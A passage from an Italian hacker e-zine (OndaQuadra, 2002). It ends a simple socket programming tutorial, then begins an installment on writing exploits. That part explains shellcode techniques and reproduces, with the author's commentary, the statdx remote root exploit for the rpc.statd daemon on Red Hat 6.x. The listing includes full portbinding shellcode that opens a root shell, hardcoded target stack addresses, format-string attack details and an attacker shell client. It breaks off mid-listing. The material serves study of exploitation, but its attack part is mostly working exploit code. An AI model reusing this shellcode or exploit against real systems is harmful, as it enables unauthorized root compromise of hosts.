| /* Il nostro client creerà un socket temporaneo per l'invio di una |
| richiesta di servizio al server. Useremo le strutture seguenti */ |
| |
| int socket_descriptor ; |
| struct sockaddr_in pin ; |
| struct hostent *server_host_name; |
| |
| /* il nostro client deve conoscere l'indirizzo IP dell'host. i programmi |
| d'esempio sono eseguibili in Linux facendo riferimento all'indirizzo IP |
| standard del pc locale, 127.0.0.1. La funzione usata per ricavare le |
| informazioni sul pc host e' la seguente */ |
| |
| server_host_name = gethostbyname( "127.0.0.1" ); |
| |
| /* ora che abbiamo a disposizione le info sul pc host possiamo farcire |
| la "sockaddr_in pin" */ |
| |
| bzero(&pin, sizeof(pin)); |
| pin.sin_family = AF_INET ; |
| pin.sin_addr.s_addr = htonl(INADDR_ANY) ; |
| pin.sin_addr.s_addr = ((struct in_addr *)(server_host_name->h_addr)) |
| ->s_addr; |
| pin.sin_port = htons(port) ; |
| |
| /* ora possiamo creare un socket con l'host*/ |
| |
| socket_descriptor = socket(AF_INET, SOCK_STREAM, 0); |
| |
| /* ed ora ci connettiamo all'host usando il socket*/ |
| |
| connect(socket_descriptor, (void *)&pin, sizeof(pin)); |
| |
| /* se il server fosse occupato, la chiamata rimane in attesa. Quando la |
| chiamata termina e' possibile inviare i dati al server */ |
| |
| send(socket_descriptor, "test data", strlen("test data") + 1, 0); |
| |
| /* la prossima chiamata, alla recv(), attende una risposta dal server |
| (buf e' una variabile di 8192 byte) */ |
| |
| recv(socket_descriptor, buf, 8192, 0); |
| |
| /* buf contiene i dati restituiti dal server. |
| Ora possiamo chiudere la connessione di socket temporanea col server |
| */ |
| |
| close(socket_descriptor); |
| ________________________________________________________________________ |
| |
| Per testare l'esecuzione delle nostre applicazioni, possiamo aprire 2 |
| xterm (o due konsole), una per il server e l'altra per il client. |
| Il server inizia digitando: |
| |
| AppServer |
| |
| il client puo' essere eseguito digitando: |
| |
| AppClient "Sono il test data che arrivera' al server!" |
| |
| Per interrompere il server.. CTRL^C |
| L'output generato dal programma server dovrebbe essere il seguente: |
| |
| snhyper@Charlotte1:/$ AppServer |
| |
| Accepting connection ... |
| received from client:Sono il test data che arrivera' al server! |
| |
| L'output generato dal client invece: |
| |
| snhyper@Charlotte1:/$ AppClient "Sono il test data che arrivera' al |
| server!" |
| |
| Sending message Sono il test data che arrivera' al server! to server |
| ..sent message.. wait for response ... |
| |
| Response from server: |
| |
| SONO IL TEST DATA CHE ARRIVERA' AL SERVER! |
| |
| Possiamo anche utilizzare un browser web per collegarci al nostro |
| server, basta aprire ad esempio Netscape e digitare come indirizzo: |
| |
| http://127.0.0.1:8000 |
| |
| In questo caso, 127.0.0.1, e' l'indirizzo IP locale e 8000 il num della |
| porta che avevamo selezionato. Il browser, come dovreste sapere, |
| inviera' una richiesta al server pensando sia un server web. Il server |
| accetta la richiesta, converte tutti i caratteri in maiuscolo, e |
| restituisce i dati al browser. |
| Sul browser dovrebbe apparirvi: |
| |
| GET / HTTP/1.0 CONNECTION: KEEP-ALIVE USER-AGENT: MOZILLA/4.5 [EN] |
| (X11; I; LINUX 2.4.5 I686) |
| HOST:127.0.0.1:8000 ACCEPT: IMAGE/GIF, IMAGE/X-XBITMAP, IMAGE/JPEG, |
| IMAGE/PJPEG, IMAGE/PNG, |
| */* ACCEPT-ENCODING: GZIP ACCEPT-LANGUAGE: EN |
| ACCEPT-CHARSET: ISO-8859-1,*,UTF-8 |
| |
| Figo vero? |
| Provate a collegarvi anche con altre applicazioni. |
| Questo serve anche molto per capire i tipi di richieste, e il |
| funzionamento dei protocolli e delle reti. |
| |
| p.s. I sorgenti completi e compilabili li trovate allegati nel presente |
| pacchetto. |
| |
| |
| * Byez && Thanks to: FuSyS, Nobody, Naif, Nextie, Tritemius, Morpheo, |
| Raptor, MoF, SirPsychoSexy,UIHA. E chi manca... |
| |
| * Fucks to : la maggior parte dei newbie che stanno crescendo, |
| cercando di farsi strada a spallate e farsi vedere, senza avere la |
| minima cognizione della passione, del tempo, dei tentativi e di tutto |
| cio' che sta dietro la figura di un hacker, etico o no che sia. A tutti |
| coloro che hanno perso *la visione magica* che sta dietro al codare, al |
| perdere ore per configurare le macchine, al passare nottate a testare un |
| prog che facilmente andra' in mano a molti di questi, alle ore sui libri |
| etc.. Ci sarebbero molte cose da dire ma.. a volte e' meglio ignorare. |
| Preferisco passare quel tempo ad aiutare che ha bisogno ( o a farmi |
| aiutare), ad imparare cose nuove etc... |
| |
| "NON NELLA CONOSCENZA STA IL POTERE, BENSI' |
| NELL'ACQUISIZIONE DELLA CONOSCENZA!" |
| |
| |
| ..::SNHYPER::.. |
| snhyper@hotmail.com |
| Linux registered user #249109 |
| Linux registered machine #133922 |
| |
| |
+--------------------------------------------------------------------------+
+--------------------------------------------------------------------------+
| ONDAQUADRA MAGAZINE ~ [LiNUX] #06 - 25/04/2002 |
| LA LUNGA ST0RiA DELL'EXPL0iT DEL DEM0NE RPC.STATD [xyzzy] 0x0B/0x1D |
+--------------------------------------------------------------------------+
| |
| ovvero |
| |
| come scriversi il proprio exploit personale in tre puntate (...o forse |
| piu' :) |
| |
| ***************************** Quarta puntata ************************** |
| |
| |
| |
| 5. Lo "shellcode" |
| |
| |
| "...gia', ma se possiamo saltare dove vogliamo nella esecuzione del |
| processo, perche' non fargli eseguire codice fornito da noi stessi?" |
| (...mica male, vero? ;) |
| |
| e' probabilmente l'interrogativo che molti si saranno posti... |
| effettivamente, se si riesce a controllare in qualche modo l'esecuzione |
| di un programma saltando all'indirizzo che vogliamo, perche' non |
| inserire ad un certo indirizzo di memoria del codice (che d'ora in poi |
| chiameremo familiarmente "shellcode") scritto da noi e saltare proprio a |
| quell'indirizzo? |
| |
| Ed infatti e' proprio questo aspetto il piu' interessante, non tanto in |
| termini di difficolta' tecnica quanto per gli aspetti legati ai vincoli |
| che il codice in questione deve rispettare per potere essere eseguito |
| con efficacia. |
| |
| Nei punti successivi analizzeremo brevemente proprio questi vincoli ed i |
| metodi posti in essere per risolverli; una trattazione davvero |
| interessante dal punto di vista tecnico, credetemi ;) |
| |
| Passeremo poi ad analizzare un caso concreto: l'exploit statdx, un |
| programmino che non molto tempo fa e' stato di grande utilita' per |
| coloro che volevano provare a "violare" i sistemi linux basati sul |
| demone rpc.statd di alcune distribuzioni linux, tra le quali fa spicco |
| la Red Hat 6.2 |
| |
| In ultimo, un piccolo punto di orgoglio: i miei dieci eurocent di |
| contributo. Durante l'analisi proprio dello shellcode di statdx ho |
| potuto rendermi conto di un errore di programmazione che non sempre |
| permetteva un accesso alla shell di root, ma anzi abbastanza spesso dava |
| come risultato il crash del demone senza alcuna possibilita' di recupero |
| funzionale e, cosa piu' importante, senza fornire alcun accesso |
| all'attaccante. Un rapido scambio di messaggi di e-mail con l'autore ha |
| potuto mettere in evidenza che si trattava effettivamente di un "bug" |
| del codice. E' stato molto istruttivo per me potermi confrontare con |
| questi aspetti. |
| |
| Ok, bando alle ciance: andiamo a cominciare! :) |
| |
| |
| |
| 5.1. posizionamento dello shellcode |
| |
| Uno dei principali problemi ai quali si va incontro quando si vuole fare |
| eseguire ad un programma del codice fornito da noi e' (ma guarda un po' |
| ;) proprio il "dove metterlo". Non abbiamo accesso ai sorgenti del |
| programma (intesi come i file sorgenti sulla macchina remote) e tanto |
| meno ai file su disco in cui e' memorizzato il codice eseguibile del |
| programma stesso, quindi non ci e' certo possibile intervenire su tali |
| oggetti per "nascondere" porzioni di codice aggiuntivo. L'unica |
| possibilita' che abbiamo e' proprio quella di "iniettare" del codice |
| utilizzando la sola strada a noi concessa: i dati in ingresso. E, se |
| guardiamo bene, questa e' anche la strada che abbiamo usato per |
| realizzare il "buffer overflow" che ci ha permesso di dirottare |
| l'esecuzione, quindi perche' non usare lo stesso metodo per inserire lo |
| shellcode? |
| |
| Inviando dei dati opportunamente formattati possiamo memorizzare sullo |
| stack dei valori che, ironia del destino (<grin>), rappresentano proprio |
| del codice eseguibile... |
| |
| Esistono, ovviamente, dei vincoli e delle limitazioni, ma con un po' di |
| buona volonta' possiamo tenerne conto e risolverli anche in maniera |
| elegante (come vedremo). |
| |
| Passiamo allora ad elencare i principali "ostacoli" che si frappongono |
| tra noi ed un codice eseguibile (ed eseguito) sulla macchina target. |
| |
| Innanzi tutto, sembra banale ma vi assicuro che non lo e', poiche' il |
| codice iniettato attraverso dei dati in ingressso viene giocoforza |
| memorizzato sullo stack, l'architettura del sistema operativo della |
| macchina target deve ammettere la possibilita' di eseguire del codice |
| presente, appunto, sullo stack. Fortunatamente questa caratteristica e' |
| abbastanza diffusa; sia i sistemi Linux che quelli Windows ammettono |
| questa possibilita', per cui alla fine questo non e' un vero ostacolo. |
| E' bene considerare, pero', che esistono delle architetture di sistema |
| che mantengono lo stack in una zona di memoria gestita in modo |
| particolare, sostanzialmente vietandone la possibilita' di contenere del |
| codice eseguibile; in questi casi decade automaticamente la possibilita' |
| di iniettare lo shellcode nello stack e tutto si complica terribilmente |
| (e per questo motivo non lo tratteremo in questa sede). |
| |
| In seconda battuta, a meno di non conoscere ESATTAMENTE l'indirizzo al |
| quale si saltera' nella esecuzione del programma (e' vero che l'esempio |
| degli articoli precedenti permetteva di determinare con esattezza questo |
| valore, ma esistono altre tecniche che non sono cosi' "precise" e che |
| permettono di saltare "vicino" ad un indirizzo), sara' necessario |
| prevedere la possibilita' di avere uno shellcode posizionato "in un |
| intorno" di un daterminato indirizzo. Questo problema si risolve |
| abbastanza facilmente, facendo precedere lo shellcode vero e proprio da |
| una lista di istruzioni "NOP" (No OPeration) che funzionano un po' come |
| dei "riempitivi" per quelle aree di memoria che si frappongono tra |
| l'indirizzo al quale si e' effettivamente saltati nella esecuzione e lo |
| shellcode vero e proprio. E' questa una tecnica abbastanza diffusa e di |
| buona regola nella preparazione di qualsiasi shellcode. |
| |
| |
| 5.2. esecuzione dello shellcode |
| |
| Cominciamo adesso con i problemi "VERI"... (fin qui si era scherzato ;) |
| |
| Poiche' lo shellcode trova posto in una stringa ASCII (e' questo l'unico |
| tipo di dato che possiamo passare al nostro programma... sic) NON |
| SARANNO AMMESSI VALORI DI BYTE UGUALI A ZERO, pena il troncamento della |
| stringa stessa (lo zero, ricordo, viene interpretato dalle funzioni del |
| "C" come terminatore di stringa) e conseguente perdita dei valori |
| successivi allo zero in questione. E' questo un problema effettivamente |
| presente, soprattutto se consideriamo che il valore zero viene spesso |
| usato per inizializzare in maniera opportuna eventuali variabili, o |
| addirittura viene passato come valore per molti parametri di funzione... |
| pertanto si dovra' provvedere a trovare dei metodi alternativi alla |
| classica istruzione assembler di "Move 0,destinazione" per azzerare |
| eventuali variabili o registri. Per fortuna l'assembler ha una |
| meravigliosa istruzione di "eXclusive OR" che implementa appunto la |
| tabella di verita' XOR. Come sappiamo bene, una delle interessanti |
| caratteristiche di questa funzione booleana e' quella di azzerare una |
| variabile messa in XOR con se stessa, per cui invece di una |
| |
| MOV 0,dest |
| |
| possiamo, per azzerare, utilizzare una |
| |
| XOR dest,dest |
| |
| ottenendo lo stesso risultato. |
| |
| Nell'assembler della architettura Intel esistono diverse istruzioni xor, |
| a seconda della lunghezza in byte della variabile da trattare, ma |
| sostanzialmente le cose non cambiano. |
| |
| |
| Ultimo problema, non meno banale: la cosiddetta "rilocabilita'" dello |
| shellcode. |
| |
| Cosa significa "rilocabilita'"? Sostanzialmente il fatto che lo |
| shellcode dovrebbe essere il piu' possibile (per non dire totalmente) |
| indipendente dall'indirizzo al quale viene memorizzato; ogni riferimento |
| dovrebbe essere fatto attraverso indirizzamenti indiretti. Purtroppo non |
| sempre questo e' possibile... esistono dei casi (uno fra tutti il |
| passaggio di un indirizzo di struttura ad una funzione che lo necessiti) |
| in cui non e' possibile effettuare una vallorizzazione indiretta. Come |
| fare, allora? |
| |
| Eh, beh, qui devo dire che e' stato fatto un mezzo capolavoro ;) |
| Sostanzialmente, si sfrutta la capacita' dell'istruzione JSR (chiamata a |
| subroutine) di memorizzare l'indirizzo di ritorno sullo stack. La |
| struttura dati della quale reperire l'indirizzo assoluto viene |
| memorizzata al fondo dello shellcode e subito prima di questa vi e' una |
| serie di istruzioni che ci permettono di ottenere tale indirizzo. Lo |
| shellcode avra' pertanto la seguente struttura: |
| |
| shellcode: jmp find_addr |
| go_on: pop ax |
| . |
| . |
| . |
| find_addr: jsr go_on |
| dati: ... |
| |
| Banale, no? ;) ;) ;) |
| |
| Scherzi a parte, con queste pochissime istruzioni si e' ottenuto quello |
| che volevamo. |
| |
| Analizziamole insieme: |
| |
| l'istruzione all'indirizzo "shellcode" esegue un salto incondizionato |
| all'indirizzo find_addr (ricordo che l'indirizzamento in questo tipo di |
| istruzioni puo' venire eseguito indirettamente, per cui non vi sono |
| problemi ad eseguirli in maniera indipendente da dove le istruzioni |
| siano memorizzate). A tale indirizzo troviamo una chiamata a subroutine |
| che salta all'indirizzo go_on ma METTE SULLO STACK L'INDIRIZZO DI |
| "dati". La prima istruzione all'indirizzo go_on e' una "popl %ecx " che |
| MEMORIZZA L'INDIRIZZO DI "dati" NEL REGISTRO ECX!!! Da qui in poi tutti |
| i conteggi possono essere fatti sulla base del valore di riferimento |
| contenuto in ecx!!! Mica male, vero? Certo, per i "puristi", resta |
| "scoperto" un livello di framebuffer (ossia c'e' una chiamata che |
| rischierebbe di non venire correttamente completata) ma si tratta, come |
| vedremo, di un problema relativo, poiche' l'esecuzione non raggiungera' |
| piu' una istruzione di "return" relativa a questa chiamata... |
| |
| Bene, adesso disponiamo effettivamente di tutti gli strumenti necessari |
| per analizzare e comprendere appieno la sottile bellezza dell'exploit |
| statdx, elemento "scatenante" di tutta questa serie di articoli e degno |
| conclusore della stessa. Vi lascio al listato dell'exploit, commentato |
| dal sottoscritto nelle sue parti maggiormente significative. |
| |
| |
| |
| 6. L'exploit statdx.c - analisi e commenti al listato |
| |
| |
| *********************** inizio del listato ************************ |
| |
| |
| /* commento "on source" dell' exploit rpc.statd */ |
| |
| |
| /** |
| *** statdx |
| *** Redhat Linux 6.0/6.1/6.2 rpc.statd remote root exploit (IA32) |
| *** by ron1n <shellcode@hotmail.com> |
| |
| * >>> commented out (and FIXED! :) by xyzzy <xyzzy@vxp.com> |
| |
| * |
| * August 3, 2000 |
| * Sydney, Australia |
| * |
| * Oh you prob'ly won't remember me |
| * It's prob'ly ancient history |
| * I'm one of the chosen few |
| * Who went ahead and fell for you |
| * |
| * $ gcc -o statdx statdx.c ; ./statdx -h |
| * |
| * Thanks to smiler for the format string vulnerability clarification. |
| * |
| * background info |
| * --------------- |
| * rpc.statd is an ONC RPC server that implements the Network Status |
| * Monitor RPC protocol to provide reboot notification. It is used by |
| * the NFS file locking service (rpc.lockd) when it performs lock |
| * recovery. |
| |
| * >>> ecco qui una breve spiegazione dei compiti di rpc.statd |
| |
| * |
| * Due to a format string vulnerability in a call to syslog() within |
| * its logging module, rpc.statd can be exploited remotely by script |
| * kids bent on breaking into your Redhat Linux box and defacing your |
| * website with crackpot political musings. |
| |
| |
| * >>> ..gia', gia'.. un controllo di input non completamente efficace |
| * >>> fa si' che il demone possa venire "exploitato" e permetta quindi |
| * >>> di eseguire del codice fornito dall'attaccante. Tipicamente, si |
| * >>> tratta di codice che implementa (come vedremo)un semplice server |
| * >>> TCP che restituisce una shell con i privilegi con i quali e' in |
| * >>> esecuzione il server rpc.statd stesso (tipicamente quelli di |
| * >>> root... piu' che sufficiente, no? ;) |
| |
| * |
| * This is not a traditional buffer overflow vulnerability. The data |
| * are kept within the bounds of the buffer by means of a call to |
| * vsnprintf(). The saved return address can be overwritten indirectly |
| * without a contiguous payload. syslog() is given, for the most part, |
| * a user-supplied format string with no process-supplied arguments. |
| |
| * >>> ecco qui la spiegazione tecnica: non si tratta di un "buffer |
| * >>> overflow" tradizionale. La lunghezza del buffer passato viene |
| * >>> mantenuta entro i limiti attraverso una chiamata alla funzione |
| * >>> vsnprintf. Peccato che l'indirizzo di ritorno possa venire |
| * >>> sovrascritto indirettamente attraverso un formato ben preciso |
| * >>> della stringa passata. |
| |
| * Our format string will, if carefully constructed, cause the process |
| * to cull non-arbitrary addresses from the top of the stack for |
| * sequential writes using controlled values. Exploitation requires |
| * an executable stack on the target host -- almost invariably the |
| * case. This problem was corrected in the nfs-utils-0.1.9.1 rpm. |
| |
| * >>> ulteriori spiegazioni: la stringa fornita al demone puo', se |
| * >>> opportunamente costruita, fare si' che il processo rpc.statd |
| * >>> raccolga indirizzi ben precisi dallo stack (che so, ad esempio |
| * >>> l'indirizzo di ritorno della routine? ;) e riscriverli con |
| * >>> valori ben precisi (che so, l'indirizzo di una routine assembler |
| * >>> che e' stata messa nella stringa stessa e della quale si conosce, |
| * >>> appunto, l'indirizzo ;).Ovviamente, per funzionare, c'e' bisogno |
| * >>> che la zona di memoria che cointiene lo stack sia classificata |
| * >>> come "eseguibile"... ma praticamente tutte le versioni di linux |
| * >>> la classificano come tale. |
| |
| * |
| * exploit info |
| * ------------ |
| * You have one shot at this in most situations, so get it right! |
| |
| * >>> eh, gia'! Un unico tentativo! Se qualcosa va storto la prima |
| * >>> volta, addio: i puntatori del buffer cambiano |
| |
| * |
| * If you know the port number rpc.statd is serving requests on, you |
| * can supply the port number on the commandline to bypass the initial |
| * portmapper query. This is very useful for hosts which are filtering |
| * inbound connections to the portmapper. The default attack protocol |
| * is UDP. There is a commandline option to use TCP. Apparently, the |
| * dispatcher uses both protocols by default. |
| |
| * >>> ...beh, certo. Se gia' si conosce la porta sulla quale opera il |
| * >>>demone,e' tutto lavoro guadagnato (e soprattutto, come ricordato |
| * >>> giustamente anche dall'autore, si possono aggirare le eventuali |
| * >>> barriere che un firewall potrebbe avere costruito per regolare |
| * >>> l'accesso al portmapper, il demone che fornisce indicazioni |
| * >>> sulle porte usate dai vari altri demoni) |
| |
| |
| * |
| * If you're only interested in exploiting a host, then you can safely |
| * skip the following information. You'll only need a buffer address |
| * to get started. This buffer address will either be one of my canned |
| * ones or your own one. It must be precise, and this is where you're |
| * likely to experience difficulties with your attacks. |
| * |
| * [va_list][str][4][r][4][r+1][4][r+2][4][r+3]-----> |
| * | | |
| * %esp buffer[1024] |
| * |
| * [%8x..][%!x][%n][%!x][%n][%!x][%n][%!x][%n][sc]---> |
| * | r | r+1 | r+2 | r+3 | |
| * |
| * buffer-> This is the address you'll need (-a and -l options) |
| * str -> Process-supplied string; 24 bytes long |
| * 4 -> Duplicate dwords to satisfy the %!d specifiers and |
| * the double %n when two successive values are equal |
| * r -> Stack position of saved eip |
| * %8x.. -> Wipes the va_list dword and str; 9 by default (-w option) |
| * %!x -> Used for padding to form an aggregate overwrite value; |
| * the exclamation mark denotes a field width. This may |
| * or may not be present, depending on the value. An |
| * algorithm is used to allow tricky values. |
| * %n -> Writes overwrite value to the corresponding address |
| * sc -> Nops + portbinding shellcode (port 39168) |
| * |
| * Only modify the default wipe value and the default offset value |
| * if you know what you're doing. |
| |
| * >>> ecco qui, condensata in poche righe, l'essenza dell'exploit. In |
| * >>> sostanza, si utilizza il formato %n previsto dalla printf (e |
| * >>> dalla sua variante vsnprintf richiamata dalla syslog) per |
| * >>> sovrascrivere gli indirizzi di ritorno della routine e farli |
| * >>> "puntare" al codice fornito all'interno dello stesso buffer che |
| * >>> si vuole stampare. Per ottenere i corretti valori da scrivere si |
| * >>> utilizza la tecnica della formattazione dell'output utilizzando |
| * >>> un formato del tipo %!x, dove il carattere "!" rappresenta il |
| * >>> numero di caratteri che si vuole scrivere ed e' estremamente |
| * >>> importante poiche' condiziona il valore che si andra' a scrivere |
| * >>> successivamente. |
| |
| * |
| * An easy way to get the buffer address for simulation systems that you |
| * have privileged access to: |
| * |
| * [term 1]# ltrace -p `pidof rpc.statd` -o foo |
| * [term 2]$ ./statdx -a 0x41414141 localhost |
| * [term 1]# grep vsnprintf foo | head -1 | sed 's/.*(//' | \ |
| * awk -F"," '{print $1}' |
| |
| * >>> effettivamente se si ha la possibilita' di accedere ad un sistema |
| * >>> in maniera privilegiata, questo e' un buon modo per determinare |
| * >>> l'indirizzo del buffer. |
| |
| * |
| *(Of course,ensure that rpc.statd is started at boot time and not from |
| * an interactive shell, otherwise it will inherit a larger environment |
| * and blow the accuracy of your findings.) |
| |
| |
| * >>> superfluo?puo' darsi.ma poiche "repetita juvant" ancora una |
| * >>> volta e' bene ricordare che tutto quanto funziona se e solo se il |
| * >>> demone rpc.statd e' stato lanciato dall'opportuno script al boot |
| * >>> del sistema,altrimenti l'indirizzo del buffer sara' certamente |
| * >>> diverso a causa (come segnala
to dall'autore) del maggiore spazio |
| * >>> in memoria dedicato alle variabili di ambiente ereditate dal |
| * >>> processo. |
| * |
| * Ok, longwinded enough. Let's dance. |
| |
| D'accordo! Tutti in pista! ;) |
| |
| * |
| * greets |
| * ------ |
| * ADM, attrition, rogues, security.is, teso |
| * |
| / |
| |
| |
| |
| /** >>>varie include e definizioni(per rendere la vita piu' facile) */ |
| |
| |
| #include <stdio.h> |
| #include <stdlib.h> |
| #include <string.h> |
| #include <errno.h> |
| #include <unistd.h> |
| #include <netdb.h> |
| #include <rpc/rpc.h> |
| #include <sys/types.h> |
| #include <sys/time.h> |
| #include <sys/socket.h> |
| #include <netinet/in.h> |
| |
| #define SM_PROG 100024 |
| #define SM_VERS 1 |
| #define SM_STAT 1 |
| #define SM_MAXSTRLEN 1024 |
| |
| #define max(a,b) ((a)>(b)?(a):(b)) |
| |
| #define NOP 0x90 |
| |
| |
| /** |
| * |
| * >>> ecco il "cuore" dell'exploit: lo shellcode! Quell'insieme di |
| * >>> istruzioni assembler che, una volta in esecuzione, attivano |
| * >>> in qualche modo la possibilita' di "controllare" il sistema |
| * >>> attaccato; in questo caso, si attiva una shell in ascolto |
| * >>> sulla porta 39168. La tecnica usata e' simile a quella dei |
| * >>> buffer overflow tradizionali |
| * |
| **/ |
| |
| |
| /* |
| ** Non-ripped linux IA32 portbinding shellcode. |
| ** port: 39168 ; length: 133 bytes |
| */ |
| |
| char shellcode[] = |
| "\x31\xc0" /* xorl %eax,%eax */ |
| /* jmp ricochet ------------------------------------------------ */ |
| "\xeb\x7c" /* jmp 0x7c */ |
| /* kungfu: ----------------------------------------------------- */ |
| "\x59" /* popl %ecx */ |
| "\x89\x41\x10" /* movl %eax,0x10(%ecx) */ |
| /* ----------------------------- socket(2,1,0); ---------------- */ |
| "\x89\x41\x08" /* movl %eax,0x8(%ecx) */ |
| "\xfe\xc0" /* incb %al */ |
| "\x89\x41\x04" /* movl %eax,0x4(%ecx) */ |
| "\x89\xc3" /* movl %eax,%ebx */ |
| "\xfe\xc0" /* incb %al */ |
| "\x89\x01" /* movl %eax,(%ecx) */ |
| "\xb0\x66" /* movb $0x66,%al */ |
| "\xcd\x80" /* int $0x80 */ |
| /* ----------------------------- bind(sd,&sockaddr,16); -------- */ |
| "\xb3\x02" /* movb $0x2,%bl */ |
| "\x89\x59\x0c" /* movl %ebx,0xc(%ecx) */ |
| "\xc6\x41\x0e\x99" /* movb $0x99,0xe(%ecx) */ |
| "\xc6\x41\x08\x10" /* movb $0x10,0x8(%ecx) */ |
| "\x89\x49\x04" /* movl %ecx,0x4(%ecx) */ |
| "\x80\x41\x04\x0c" /* addb $0xc,0x4(%ecx) */ |
| "\x88\x01" /* movb %al,(%ecx) */ |
| "\xb0\x66" /* movb $0x66,%al */ |
| "\xcd\x80" /* int $0x80 */ |
| /* ----------------------------- listen(sd,blah); -------------- */ |
| "\xb3\x04" /* movb $0x4,%bl */ |
| "\xb0\x66" /* movb $0x66,%al */ |
| "\xcd\x80" /* int $0x80 */ |
| /* ----------------------------- accept(sd,0,16); -------------- */ |
| "\xb3\x05" /* movb $0x5,%bl */ |
| /** |
| *** |
| *** >>> A T T E N Z I O N E ! ! ! ! |
| *** >>> ecco il problema!!! Le due istruzioni successive sono state |
| *** >>> commentate e sostituite con le altre due per permettere una |
| *** >>> corretta esecuzione dello shellcode. Nel capitolo successivo |
| *** >>> verranno date tutte le spiegazioni del caso |
| *** |
| **/ |
| /* "\x30\xc0" xorb %al,%al */ |
| /* "\x88\x41\x04" movb %al,0x4(%ecx) */ |
| /** |
| *** |
| *** >>> queste sono le nuove istruzioni inserite in sostituzione |
| *** |
| **/ |
| "\x31\xc0" /* xorl %eax,%eax */ |
| "\x89\x41\x04" /* movl %eax,0x4(%ecx) */ |
| /** |
| *** |
| *** >>> ok, si puo' proseguire ;) |
| *** |
| **/ |
| "\xb0\x66" /* movb $0x66,%al */ |
| "\xcd\x80" /* int $0x80 */ |
| /* ------------------------------- dup2(cd,0); ------------------- */ |
| "\x89\xce" /* movl %ecx,%esi */ |
| "\x88\xc3" /* movb %al,%bl */ |
| "\x31\xc9" /* xorl %ecx,%ecx */ |
| "\xb0\x3f" /* movb $0x3f,%al */ |
| "\xcd\x80" /* int $0x80 */ |
| /* ------------------------------- dup2(cd,1); ------------------- */ |
| "\xfe\xc1" /* incb %cl */ |
| "\xb0\x3f" /* movb $0x3f,%al */ |
| "\xcd\x80" /* int $0x80 */ |
| /* ------------------------------- dup2(cd,2); ------------------- */ |
| "\xfe\xc1" /* incb %cl */ |
| "\xb0\x3f" /* movb $0x3f,%al */ |
| "\xcd\x80" /* int $0x80 */ |
| /* ------------------------------- execve("/bin/sh",argv,0); ----- */ |
| "\xc7\x06\x2f\x62\x69\x6e" /* movl $0x6e69622f,(%esi) */ |
| "\xc7\x46\x04\x2f\x73\x68\x41" /* movl $0x4168732f,0x4(%esi) */ |
| "\x30\xc0" /* xorb %al,%al */ |
| "\x88\x46\x07" /* movb %al,0x7(%esi) */ |
| "\x89\x76\x0c" /* movl %esi,0xc(%esi) */ |
| "\x8d\x56\x10" /* leal 0x10(%esi),%edx */ |
| "\x8d\x4e\x0c" /* leal 0xc(%esi),%ecx */ |
| "\x89\xf3" /* movl %esi,%ebx */ |
| "\xb0\x0b" /* movb $0xb,%al */ |
| "\xcd\x80" /* int $0x80 */ |
| /* ------------------------------- exit(blah); ------------------- */ |
| "\xb0\x01" /* movb $0x1,%al */ |
| "\xcd\x80" /* int $0x80 */ |
| /* ricochet: call kungfu ----------------------------------------- */ |
| "\xe8\x7f\xff\xff\xff"; /* call -0x81 */ |
| |
| |
| /** |
| *** |
| *** >>> dichiarazione di variabili di lavoro |
| *** |
| **/ |
| |
| |
| enum res |
| { |
| stat_succ, |
| stat_fail |
| }; |
| |
| struct sm_name |
| { |
| char *mon_name; |
| }; |
| |
| struct sm_stat_res |
| { |
| enum res res_stat; |
| int state; |
| }; |
| |
| struct type |
| { |
| int type; |
| char *desc; |
| char *code; |
| u_long bufpos; |
| int buflen; |
| int offset; |
| int wipe; |
| }; |
| |
| struct type types[] = |
| { |
| {0, "Redhat 6.2 (nfs-utils-0.1.6-2)", shellcode, |
| 0xbffff314, 1024, 600, 9}, |
| {1, "Redhat 6.1 (knfsd-1.4.7-7)", shellcode, |
| 0xbffff314, 1024, 600, 9}, |
| {2, "Redhat 6.0 (knfsd-1.2.2-4)", shellcode, |
| 0xbffff314, 1024, 600, 9}, |
| {0, NULL, NULL, 0, 0, 0, 0} |
| }; |
| |
| /** |
| *** |
| *** >>> routine di utilita' per valorizzare correttamente le chiamate |
| *** >>> di collegamento UDP |
| *** |
| **/ |
| |
| |
| bool_t |
| xdr_sm_name(XDR *xdrs, struct sm_name *objp) |
| { |
| if (!xdr_string(xdrs, &objp->mon_name, SM_MAXSTRLEN)) |
| return (FALSE); |
| return (TRUE); |
| } |
| |
| bool_t |
| xdr_res(XDR *xdrs, enum res *objp) |
| { |
| if (!xdr_enum(xdrs, (enum_t *)objp)) |
| return (FALSE); |
| return (TRUE); |
| } |
| |
| bool_t |
| xdr_sm_stat_res(XDR *xdrs, struct sm_stat_res *objp) |
| { |
| if (!xdr_res(xdrs, &objp->res_stat)) |
| return (FALSE); |
| if (!xdr_int(xdrs, &objp->state)) |
| return (FALSE); |
| return (TRUE); |
| } |
| |
| |
| /** |
| *** |
| *** >>> come ogni software che si rispetti, una bella "help page" |
| *** >>> che descriva l'utilizzo non fa mai male... ;) |
| *** |
| **/ |
| |
| |
| void |
| usage(char *app) |
| { |
| int i; |
| |
| fprintf(stderr, "statdx by ron1n <shellcode@hotmail.com>\n"); |
| fprintf(stderr, "Usage: %s [-t] [-p port] [-a addr] [-l len]\n", app); |
| fprintf(stderr, "\t[-o offset] [-w num] [-s secs] |
| [-d type] <target>\n"); |
| fprintf(stderr, "-t\tattack a tcp dispatcher [udp]\n"); |
| fprintf(stderr, "-p\trpc.statd serves requests on <port> [query]\n"); |
| fprintf(stderr, "-a\tthe stack address of the buffer is <addr>\n"); |
| fprintf(stderr, "-l\tthe length of the buffer is <len> [1024]\n"); |
| fprintf(stderr, "-o\tthe offset to return to is <offset> [600]\n"); |
| fprintf(stderr, "-w\tthe number of dwords to wipe is <num> [9]\n"); |
| fprintf(stderr, "-s\tset timeout in seconds to <secs> [5]\n"); |
| fprintf(stderr, "-d\tuse a hardcoded <type>\n"); |
| fprintf(stderr, "Available types:\n"); |
| |
| for(i = 0; types[i].desc; i++) |
| fprintf(stderr, "%d\t%s\n", types[i].type, types[i].desc); |
| |
| exit(EXIT_FAILURE); |
| } |
| |
| |
| /** |
| * |
| * >>> ecco qui la routine che, in caso di exploit riuscito, implementa |
| * >>> la parte "client" della connessione; tale routine invia sulla |
| * >>> connessione realizzata le stringhe che l'attaccante digita sulla |
| * >>> tastiera, visualizzando a video i messaggi di ritorno della |
| * >>> connessione stessa. Potrebbe anche essere superflua, sostituita |
| * >>> da un normale "telnet" sulla porta interessata, ma l'autore ha |
| * >>> voluto fare le cose per bene... ;) |
| * |
| **/ |
| |
| void |
| runshell(int sockd) |
| { |
| char buff[1024]; |
| int fmax, ret; |
| fd_set fds; |
| |
| fmax = max(fileno(stdin), sockd) + 1; |
